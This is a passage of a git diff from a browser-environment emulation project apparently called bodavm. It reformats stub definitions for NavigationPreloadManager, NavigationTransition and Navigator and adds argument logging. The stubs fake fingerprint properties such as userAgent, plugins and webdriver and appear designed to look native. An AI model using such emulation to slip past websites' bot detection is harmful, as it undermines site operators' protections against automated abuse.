bodavm.memory.globalobj['NavigationPreloadManager'].prototype, "NavigationPreloadManager", "setHeaderValue", arguments)}},'prototype'); +// NavigationPreloadManager对象 + +bodavm.memory.globalobj['NavigationPreloadManager'] = function NavigationPreloadManager() { + console.log_copy('NavigationPreloadManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NavigationPreloadManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationPreloadManager'], "NavigationPreloadManager"); +bodavm.toolsFunc.defineProperty('NavigationPreloadManager', "disable", { + configurable: true, + enumerable: true, + writable: true, + value: function disable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationPreloadManager'].prototype, "NavigationPreloadManager", "disable", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationPreloadManager', "enable", { + configurable: true, + enumerable: true, + writable: true, + value: function enable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationPreloadManager'].prototype, "NavigationPreloadManager", "enable", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationPreloadManager', "getState", { + configurable: true, + enumerable: true, + writable: true, + value: function getState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationPreloadManager'].prototype, "NavigationPreloadManager", "getState", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationPreloadManager', "setHeaderValue", { + configurable: true, + enumerable: true, + writable: true, + value: function setHeaderValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationPreloadManager'].prototype, "NavigationPreloadManager", "setHeaderValue", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/NavigationTransition.js b/env_xbb_lastest_jsdom/env/NavigationTransition.js index d11e7ab4..20cf2b22 100644 --- a/env_xbb_lastest_jsdom/env/NavigationTransition.js +++ b/env_xbb_lastest_jsdom/env/NavigationTransition.js @@ -1,6 +1,41 @@ -// NavigationTransition对象 -bodavm.memory.globalobj['NavigationTransition'] = function NavigationTransition(){if (!(this instanceof NavigationTransition)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationTransition'], "NavigationTransition"); -bodavm.toolsFunc.defineProperty('NavigationTransition', "navigationType", {configurable:true, enumerable:true, get:function navigationType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationTransition'].prototype, "NavigationTransition", "navigationType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationTransition', "from", {configurable:true, enumerable:true, get:function from (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationTransition'].prototype, "NavigationTransition", "from_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationTransition', "finished", {configurable:true, enumerable:true, get:function finished (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationTransition'].prototype, "NavigationTransition", "finished_get", arguments)}, set:undefined},'prototype'); +// NavigationTransition对象 + +bodavm.memory.globalobj['NavigationTransition'] = function NavigationTransition() { + console.log_copy('NavigationTransition 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NavigationTransition)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationTransition'], "NavigationTransition"); +bodavm.toolsFunc.defineProperty('NavigationTransition', "navigationType", { + configurable: true, + enumerable: true, + get: function navigationType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationTransition'].prototype, "NavigationTransition", "navigationType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationTransition', "from", { + configurable: true, + enumerable: true, + get: function from() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationTransition'].prototype, "NavigationTransition", "from_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationTransition', "finished", { + configurable: true, + enumerable: true, + get: function finished() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationTransition'].prototype, "NavigationTransition", "finished_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Navigator.js b/env_xbb_lastest_jsdom/env/Navigator.js index 904636d4..c4f6ee30 100644 --- a/env_xbb_lastest_jsdom/env/Navigator.js +++ b/env_xbb_lastest_jsdom/env/Navigator.js @@ -1,73 +1,552 @@ -// Navigator对象 -bodavm.memory.globalobj['Navigator'] = function Navigator(){if (!(this instanceof Navigator)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Navigator'], "Navigator"); -bodavm.toolsFunc.defineProperty('Navigator', "vendorSub", {configurable:true, enumerable:true, get:function vendorSub (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "vendorSub_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "productSub", {configurable:true, enumerable:true, get:function productSub (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "productSub_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "vendor", {configurable:true, enumerable:true, get:function vendor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "vendor_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "maxTouchPoints", {configurable:true, enumerable:true, get:function maxTouchPoints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "maxTouchPoints_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "scheduling", {configurable:true, enumerable:true, get:function scheduling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "scheduling_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "userActivation", {configurable:true, enumerable:true, get:function userActivation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "userActivation_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "doNotTrack", {configurable:true, enumerable:true, get:function doNotTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "doNotTrack_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "geolocation", {configurable:true, enumerable:true, get:function geolocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "geolocation_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "connection", {configurable:true, enumerable:true, get:function connection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "connection_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "plugins", {configurable:true, enumerable:true, get:function plugins (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "plugins_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "mimeTypes", {configurable:true, enumerable:true, get:function mimeTypes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mimeTypes_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "pdfViewerEnabled", {configurable:true, enumerable:true, get:function pdfViewerEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "pdfViewerEnabled_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "webkitTemporaryStorage", {configurable:true, enumerable:true, get:function webkitTemporaryStorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webkitTemporaryStorage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "webkitPersistentStorage", {configurable:true, enumerable:true, get:function webkitPersistentStorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webkitPersistentStorage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "hardwareConcurrency", {configurable:true, enumerable:true, get:function hardwareConcurrency (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "hardwareConcurrency_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "cookieEnabled", {configurable:true, enumerable:true, get:function cookieEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "cookieEnabled_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "appCodeName", {configurable:true, enumerable:true, get:function appCodeName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "appCodeName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "appName", {configurable:true, enumerable:true, get:function appName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "appName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "appVersion", {configurable:true, enumerable:true, get:function appVersion (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "appVersion_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "platform", {configurable:true, enumerable:true, get:function platform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "platform_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "product", {configurable:true, enumerable:true, get:function product (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "product_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "userAgent", {configurable:true, enumerable:true, get:function userAgent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "userAgent_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "language", {configurable:true, enumerable:true, get:function language (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "language_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "languages", {configurable:true, enumerable:true, get:function languages (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "languages_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "onLine", {configurable:true, enumerable:true, get:function onLine (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "onLine_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "webdriver", {configurable:true, enumerable:true, get:function webdriver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webdriver_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "getGamepads", {configurable:true, enumerable:true, writable:true, value:function getGamepads (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getGamepads", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "javaEnabled", {configurable:true, enumerable:true, writable:true, value:function javaEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "javaEnabled", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "sendBeacon", {configurable:true, enumerable:true, writable:true, value:function sendBeacon (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "sendBeacon", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "vibrate", {configurable:true, enumerable:true, writable:true, value:function vibrate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "vibrate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "bluetooth", {configurable:true, enumerable:true, get:function bluetooth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "bluetooth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "clipboard", {configurable:true, enumerable:true, get:function clipboard (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "clipboard_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "credentials", {configurable:true, enumerable:true, get:function credentials (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "credentials_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "keyboard", {configurable:true, enumerable:true, get:function keyboard (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "keyboard_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "managed", {configurable:true, enumerable:true, get:function managed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "managed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "mediaDevices", {configurable:true, enumerable:true, get:function mediaDevices (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mediaDevices_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "storage", {configurable:true, enumerable:true, get:function storage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "storage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "serviceWorker", {configurable:true, enumerable:true, get:function serviceWorker (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "serviceWorker_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "virtualKeyboard", {configurable:true, enumerable:true, get:function virtualKeyboard (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "virtualKeyboard_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "wakeLock", {configurable:true, enumerable:true, get:function wakeLock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "wakeLock_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "deviceMemory", {configurable:true, enumerable:true, get:function deviceMemory (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "deviceMemory_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "ink", {configurable:true, enumerable:true, get:function ink (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "ink_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "hid", {configurable:true, enumerable:true, get:function hid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "hid_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "locks", {configurable:true, enumerable:true, get:function locks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "locks_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "mediaCapabilities", {configurable:true, enumerable:true, get:function mediaCapabilities (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mediaCapabilities_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "mediaSession", {configurable:true, enumerable:true, get:function mediaSession (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mediaSession_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "permissions", {configurable:true, enumerable:true, get:function permissions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "permissions_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "presentation", {configurable:true, enumerable:true, get:function presentation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "presentation_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "serial", {configurable:true, enumerable:true, get:function serial (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "serial_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "usb", {configurable:true, enumerable:true, get:function usb (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "usb_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "windowControlsOverlay", {configurable:true, enumerable:true, get:function windowControlsOverlay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "windowControlsOverlay_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "xr", {configurable:true, enumerable:true, get:function xr (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "xr_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "userAgentData", {configurable:true, enumerable:true, get:function userAgentData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "userAgentData_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "canShare", {configurable:true, enumerable:true, writable:true, value:function canShare (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "canShare", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "share", {configurable:true, enumerable:true, writable:true, value:function share (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "share", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "clearAppBadge", {configurable:true, enumerable:true, writable:true, value:function clearAppBadge (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "clearAppBadge", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "getBattery", {configurable:true, enumerable:true, writable:true, value:function getBattery (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getBattery", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "getUserMedia", {configurable:true, enumerable:true, writable:true, value:function getUserMedia (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getUserMedia", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "requestMIDIAccess", {configurable:true, enumerable:true, writable:true, value:function requestMIDIAccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "requestMIDIAccess", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "requestMediaKeySystemAccess", {configurable:true, enumerable:true, writable:true, value:function requestMediaKeySystemAccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "requestMediaKeySystemAccess", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "setAppBadge", {configurable:true, enumerable:true, writable:true, value:function setAppBadge (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "setAppBadge", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "webkitGetUserMedia", {configurable:true, enumerable:true, writable:true, value:function webkitGetUserMedia (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webkitGetUserMedia", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "getInstalledRelatedApps", {configurable:true, enumerable:true, writable:true, value:function getInstalledRelatedApps (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getInstalledRelatedApps", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "registerProtocolHandler", {configurable:true, enumerable:true, writable:true, value:function registerProtocolHandler (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "registerProtocolHandler", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "unregisterProtocolHandler", {configurable:true, enumerable:true, writable:true, value:function unregisterProtocolHandler (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "unregisterProtocolHandler", arguments)}},'prototype'); -// navigator对象 -bodavm.memory.globalobj['navigator'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['navigator'].__proto__=bodavm.memory.globalobj['Navigator'].prototype; +// Navigator对象 + +bodavm.memory.globalobj['Navigator'] = function Navigator() { + console.log_copy('Navigator 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Navigator)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Navigator'], "Navigator"); +bodavm.toolsFunc.defineProperty('Navigator', "vendorSub", { + configurable: true, + enumerable: true, + get: function vendorSub() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "vendorSub_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "productSub", { + configurable: true, + enumerable: true, + get: function productSub() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "productSub_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "vendor", { + configurable: true, + enumerable: true, + get: function vendor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "vendor_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "maxTouchPoints", { + configurable: true, + enumerable: true, + get: function maxTouchPoints() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "maxTouchPoints_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "scheduling", { + configurable: true, + enumerable: true, + get: function scheduling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "scheduling_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "userActivation", { + configurable: true, + enumerable: true, + get: function userActivation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "userActivation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "doNotTrack", { + configurable: true, + enumerable: true, + get: function doNotTrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "doNotTrack_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "geolocation", { + configurable: true, + enumerable: true, + get: function geolocation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "geolocation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "connection", { + configurable: true, + enumerable: true, + get: function connection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "connection_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "plugins", { + configurable: true, + enumerable: true, + get: function plugins() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "plugins_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "mimeTypes", { + configurable: true, + enumerable: true, + get: function mimeTypes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mimeTypes_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "pdfViewerEnabled", { + configurable: true, + enumerable: true, + get: function pdfViewerEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "pdfViewerEnabled_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "webkitTemporaryStorage", { + configurable: true, + enumerable: true, + get: function webkitTemporaryStorage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webkitTemporaryStorage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "webkitPersistentStorage", { + configurable: true, + enumerable: true, + get: function webkitPersistentStorage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webkitPersistentStorage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "hardwareConcurrency", { + configurable: true, + enumerable: true, + get: function hardwareConcurrency() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "hardwareConcurrency_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "cookieEnabled", { + configurable: true, + enumerable: true, + get: function cookieEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "cookieEnabled_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "appCodeName", { + configurable: true, + enumerable: true, + get: function appCodeName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "appCodeName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "appName", { + configurable: true, + enumerable: true, + get: function appName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "appName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "appVersion", { + configurable: true, + enumerable: true, + get: function appVersion() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "appVersion_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "platform", { + configurable: true, + enumerable: true, + get: function platform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "platform_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "product", { + configurable: true, + enumerable: true, + get: function product() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "product_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "userAgent", { + configurable: true, + enumerable: true, + get: function userAgent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "userAgent_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "language", { + configurable: true, + enumerable: true, + get: function language() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "language_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "languages", { + configurable: true, + enumerable: true, + get: function languages() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "languages_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "onLine", { + configurable: true, + enumerable: true, + get: function onLine() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "onLine_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "webdriver", { + configurable: true, + enumerable: true, + get: function webdriver() { + return 